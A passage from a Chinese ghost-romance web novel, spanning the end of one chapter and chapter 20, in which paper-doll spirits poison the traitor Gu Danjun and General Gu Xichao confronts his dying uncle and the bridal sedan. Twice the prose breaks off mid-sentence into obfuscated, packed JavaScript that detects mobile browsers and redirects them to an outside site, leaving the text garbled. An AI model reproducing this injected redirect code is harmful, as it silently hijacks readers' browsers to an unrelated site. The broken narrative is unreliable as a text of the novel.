顾单钧一怔,看不出这普普通通的纸人有何神通。但他已是恐惧到了极点,只得朝着纸人猛磕了好几个头: “救命!救命啊……” “哼——” 一声低笑过后,一道尖细的女声在身后响起: “一个罪人,凭何要我饶命?” 一股寒颤从脊椎底下窜起,顾单钧茫然四顾,再回首,只见轿中纸人分毫不动,如同一个死物,并未开口。 另一个女声从一旁传来: “说,你根本不知道顾辞山的尸首在何处,这一切不过是为了诓骗顾昔潮,设下埋伏杀他,是不是?” 听到顾辞山这一名字,顾单钧明显愣住,屈身大拜道: “九郎他追杀了我那么多年,我只是想用他大哥的尸首活命而已啊!” 垂头的瞬间,他似乎听到纸人的骨架在咯吱咯吱地响,好像是愤怒不已的颤动,散发着一股杀意。 “你竟敢骗我?”“罪该万死!” 不同的女声,都在说同一事,惊悚之感登峰造极。顾单钧霎时明白,这些截然不同的女声,或年轻或垂老,或娇弱或蛮横,竟然皆是这位轿中贵人的传音。 此地厉鬼,皆唯她马首是瞻。 “惊扰了贵人,我再也不敢了!再也不敢了。”他把头垂得更低,瘫倒在地。 预料中的发难并未直冲着他而来,一道和颜悦色的声音传来: “你们的刀上涂了毒,是想杀了顾昔潮?” “是!正是!”他如同抓到一线生机,仰头道,“贵人也恨他吗?我可为贵人除害!那毒药,不出三月必然毒发身亡,全身溃烂而死!” “我是恨他,但……”那声音轻柔如烟,却转而陡然变厉,“但毒杀顾昔潮,你还不配。” “顾昔潮要死,也只能死在我手上……” “杀他,你不配……”“你不配!” 似是有一片又一片的女鬼飘过他左右身侧,一道道女声在他耳边回荡开去,震耳欲聋。 顾单钧后槽牙几乎要咬碎,哪能料到顾昔潮那小子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14280965|151829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟然还有鬼神相助。今次他不仅杀不了他,还要把自己的小命给搭上了。 然而顾昔潮,却是他此刻唯一能活命的理由了。 他只得对着喜轿磕得头破血流,不住地求饶道: “我知错了,我即刻交出解药救他,贵人饶我一命罢!” 他的冷汗一滴一滴落下来,如同生命的倒数。 静默了不知几刻,才听到又一个娇俏的女声笑道: “可。交出解药,饶你不死。” 顾单钧哆哆嗦嗦地从襟口取出一颗药丸,双手捧上,谄媚一般递向了一动不动的嫁衣纸人: “解药在此,只需服下便可无事。” 一阵阴风吹过,手中的药丸已然消失不见。 他一抬眸,只见纸人袖口似是的微微拂动了一下。 顾单钧耸动的双肩沉了下来,轻舒一口气,再大拜道: “谢、谢贵人不杀之恩!” 话音未落,他感到喉间猛然涌出一股腥热,他失措地抬手一摸,只看见满手鲜血横流。 他的双耳,双眼,鼻孔,嘴角等七窍正在慢慢地流出血来。 顾单钧身体僵硬,只能看着浑身的血汩汩地从没有伤口的身体里涌出,在青白的雪地上积起一个个血洼。 惊骇之中,他面色惨白如纸,失力倒了下去,颤抖的手指了指纸人: “你,你出尔反尔!……” 女鬼们畅快无比,咯吱咯吱地大笑起来,为口不能言的纸人传音: “兵者,诡道也,对付你这种小人,只需用计,何需守诺。就为告诉你,这天底下还有报应二字。” “你害她们做了冤魂,就算顾昔潮奈何不了你,我也不会放过你,必要你血债血偿!” “放心,你暂时还死不了。这样死了,未免太便宜了你……” 顾单钧早已吓得屎尿皆流,仍不死心,仍想活命,在厉鬼的尖啸声中,他竭力往外爬去,妄图逃离。 沈今鸾冷眼看着男人如蝼蚁一般无望地逃命,任由他垂死挣扎。 她死过一回,知道最难受的时候,就是知道自己要死了,却还没死,只能等死的那段无比漫长的时日。 半空中有几团雾气朝她飘了过来,落到她身前,幻化成女子透明的裙裾,肆意飞扬。 众鬼娘子齐声向沈今鸾拜别道: “我们手刃了仇人,大仇得报,心愿得偿,终于可以去轮回往生了。” 沈今鸾眼望欣然雀跃的鬼娘子,神容有几分黯然。 顾四叔最为可恨之处,是利用顾辞山的尸骨下落,引诱了顾昔潮的同时也让她看到了一丝希望,以为可以顺着找到父兄遗骨,以为可以了却执念,前去往生。 现下,唯一的线索,只剩下鬼相公那处衣冠冢里,他二哥的旧衣了。 想到她英年早逝的二哥,北疆战死的父兄,她今日凄惨的境遇,全拜当年的顾家人所赐。 有那么一瞬,沈今鸾真想毁了这颗解药,全然断了顾昔潮的生机。让他也尝尝她毒发死时痛彻五脏的滋味。 她透明的手在袖中摩挲着药丸,迟迟不决。 “我们可先走了,因为啊,你那个拜过堂的活人相公,寻不见你心急了,已找过来了。” 鬼娘子们衣裙摆动,掩嘴偷笑,对着她指了指远处的崖口。 沈今鸾凝眸,望向大雾的尽头,隐隐可见一道修长的轮廓,被月色勾了银边,灼灼发亮。 虽只是一道黑色的剪影,面容全陷在阴暗里,沈今鸾却一眼认了出来。 还真小瞧了顾昔潮,中毒后行路都艰难的人竟能只身从那崖底脱困。看来,她离去前那一句激将之语起了作用。 要是统领北疆的顾大将军就这么死了,未必太过可惜。 沈今鸾骤然收拢手心,将那一颗救命的解药藏于袖中。 将顾昔潮的性命握在手中的滋味,真不可谓不美妙。 回到北疆这数日来,她在纸人里做低伏小,忍气吞声,被迫陪他演这出戏,已是厌烦至极。 也该是时候图穷现匕了。 20. 穷途 墨云蔽月。 陡崖上的衰草在阴风中瑟瑟发抖。草丛被风吹得低伏下去,隐约露出几人兜鍪上的红缨,随风拂动。 顾昔潮和身后的亲卫,将红缨衔在嘴中,避免暴露。 他们一行人躲在崖边一处嶙峋怪石底下。方才为了从崖底紧贴岩壁攀爬上来,全都卸了甲,毫无防备。此刻衣袍被峭壁未化的积雪浸湿,浑身寒凉,尚在滴水。 若一不小心滑下去,必是粉身碎骨。那也总好过永远被困死在下面。 行山险峻,上头竟也再无箭矢偷袭。太过顺利,令人生疑。 现在又实在太静了,更是不同寻常。 骆雄忍不住压低声音,问身后的军士们: “你们可有听到什么动静?” 远眺崖上,原本明亮的火把一个接着一个熄灭了。像是被狂风扑灭,再也没有燃起来。 顾昔潮望着那湮下去的火光,眼眸促狭了一瞬,向众人示意噤声。 他攀上怪石,纵身一跃,跳上了崖边。余下众人训练有素,虎跃猫行,一个接着一个悄无声息地跟了上去。 崖边大雾一直未散,地上霜雪斑斑。沿着衰草一路潜行,草丛分拨的尽头处,赫然显现一道长长的血痕。 顾昔潮屈身,以刀柄蘸了些许。 血迹犹温。 众人脚步一滞,再循着血迹探去,发现草丛深处躺着两具尸首。 “难道是北狄人?”众人拔出了悬在腰际的长刀,严阵以待。 若是北狄从云州来犯,不仅他们生机全无,边防更是危极。 顾昔潮按在革带的手指缓缓落在刀柄处握紧,凝眸细看,认出是熟悉的面孔,道: “是那一帮逃犯。” 骆雄将两具尸体翻开,借着微弱的光上下查看。 “这两人都是七窍流血而死,身上并无刀剑痕迹。”他嘀咕道,“难道又什么是鬼相公?” 越往前走,又一具具顾家逃犯的尸体横七竖八倒在两旁,也是七窍流血,死不瞑目。 众人越走越心惊,没想到死了那么多人。 这些逃犯若还活着守在此地,就算他们有惊无险从崖底攀了上来,也免不了一场恶战,生死犹未可知。 前面茂密的草丛抖动一下,一声微弱的呼声传来: “有鬼……救、救我!” 顾昔潮快步过去,拨开草丛,见一人卧倒在地,双腿在草间拖出两道猩红的血痕,似是要逃去悬崖边。那道疤痕,撕裂一般,长至染血的眼尾,在夜色下显得犹为可怖。 正是在崖顶设伏截杀他们的顾单钧。 这一回,他见了顾昔潮恍若是见到救星一般,面上只剩惧意,声嘶力竭: “九郎,救我!鬼、鬼要杀我!” “哼,还想骗人?”骆雄拿刀抵在他咽喉。 刀尖一触及,便有一道殷红的血流从他眼角、鼻间、双耳、唇口里缓缓溢出。整个人像是从血水中捞出来,毫无活气。 众人皆惊,顾昔潮身后一名精通医术的亲兵疾步上前,开始救治。 顾昔潮面无表情,屈膝半蹲,道了一声“四叔。” 顾单钧听到他这一声“四叔”,惊恐的眸光陷入一瞬的沉湎,流露出一丝伤怀,一丝释怀。 他被这小子追杀了十五年,好不容易设下毒计,以为终于可以将他困死崖底,永绝后患。 没想到他竟还能死里逃生,带人攀着岩壁上来了。 到底没什么能困住顾家九郎的。他素来擅长以命相搏。当初是,今夕亦是。 顾单钧稍稍恢复了清明神志,自知时间不多,看着顾昔潮自嘲一笑道: “九郎,此局还是你赢了。我才智手段皆不如你,陇山顾家的家主,还是你当得……” 顾单钧扯了扯血染嘴角,忽露出一丝诡谲的笑: “只可惜,纵使九郎你英明一世,机关算尽,可天下之大,你大哥的尸首,你怕是这辈子都找不到了。” 顾昔潮淡薄如水的眸光凛然似刀,衣袂迎风猎猎。 “四叔不肯说也罢,”他眺望云州的方向,淡淡道,“事在人为,天底下并无一定办不到之事。终有一日,我会找到大哥的尸骨,也会查明当年的真相。” 顾单钧伸手拽住了他的袍角,指甲用力得泛白,像是拼尽毕生力气一般唤道: “九郎!” 他仰头望着顾昔潮,回光返照一般,眼底的光像是被点燃了,灼灼地烧过来: “当年,我不是要害大郎才不发兵救援,但实在是天命难违,天命难违啊!” 人之将死,其言也善。 他重重说了两声“天命难违”,顾昔潮蓦地转身,俊面威严,漆黑冰冷的黑眸里波澜翻涌,一字字道: “四叔,你若当时肯发兵,大哥和沈氏父子就不会战死,云州也不会陷落敌手整整十年。” 他和她,也本来不是仇敌,更不该是如今这样的结局。 顾昔潮负手而立,闭了闭眼,任由漫天纸钱落下,再睁眼时,眼底的波澜已凝结成冰: “一句天命难违,四叔就想把罪孽撇得一干二净?” 他冷眼看着脚底挣扎的血亲,甩开被攥住的袍角,道: “四叔还是到了九泉之下,亲自与死去的兄弟们谢罪吧。” 顾单钧忽地嗤嗤笑了起来,身躯痉挛,咳了一声,唇边血花涌出。 流亡这么多年来,他早就看明白了。凡是亲历当年那件事的人,要么死绝了,死在了云州,或是后来被顾昔潮杀得挫骨扬灰…… 要么,没死的,就是变成了他和顾昔潮这样的恶鬼。 “九郎,你以为杀光我们就是在赎罪?”他眼神阴冷,指尖死死戳着顾昔潮的背影,“你身上流着顾家的血,我们的罪孽,你也有一份,你这辈子也永远是罪人!” “你,你甚至都不算个人……你就是只恶鬼!” 字字刺心。可顾昔潮的面容却始终平静而淡漠,甚至还有一丝戏谑的笑意。 此话说得也不错。因为顾家九郎,早就死在了十年前,活下来的,本来就是只无法瞑目的恶鬼。 寒风里,顾昔潮伸出手去,拂去垂死之人眼角的血痕,真心实意地道: “罪人也好,恶鬼也罢。待我此生事毕,自会下到地狱,届时,于顾家列祖列宗之前,自有判词。” 顾单钧在地上如同蛆虫在地上扭曲着,呕血不止。 身旁的亲卫尝试救治多时,无力回天,只对顾昔潮摇了摇头: “将军,此人四肢筋脉尽断,五脏六腑像是像是被千军万马踏过一般。看似还活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他举着火杖,孤身一人信步踏过遍野横尸。仿佛前面是刀山火海,烹油炼狱,都乐于笑往。 耳边有边城的金柝声在回荡,他的衣袍被寒风撕扯着翻飞不息,在空寂中猎猎作响,手中火杖忽明忽灭。 漫天的纸钱如落雪,模糊了他的视线。 连日奔波未眠,加之毒性已深入,血腥气萦绕在周身,他不免神志昏沉,脚步有虚浮之感。 举目望去,此地已是大雾最浓烈之处,他一来,雾气便从他身边幽幽散去,连头顶飘落的纸钱也静止下来。 悬崖的尽头,一座熟悉的大红喜轿静静矗立,庄严肃穆,像是已等了他好久。 喜轿四周,云霭沉沉。那一个失踪的嫁衣纸人,端坐喜轿之上,居高临下,周身血污斑斑,纸袖迎风拂动。 宛若昔日金銮凤位之上,宛若凤冠翟衣加身。 狂涌的风息之中,顾昔潮停下脚步,伫立在轿前,鬓边一缕白发随风拂动。 然后,他后退一步,五指缓缓攥入箭袖,用一种如同叹息的语气,轻声道: “臣,参见皇后娘娘。”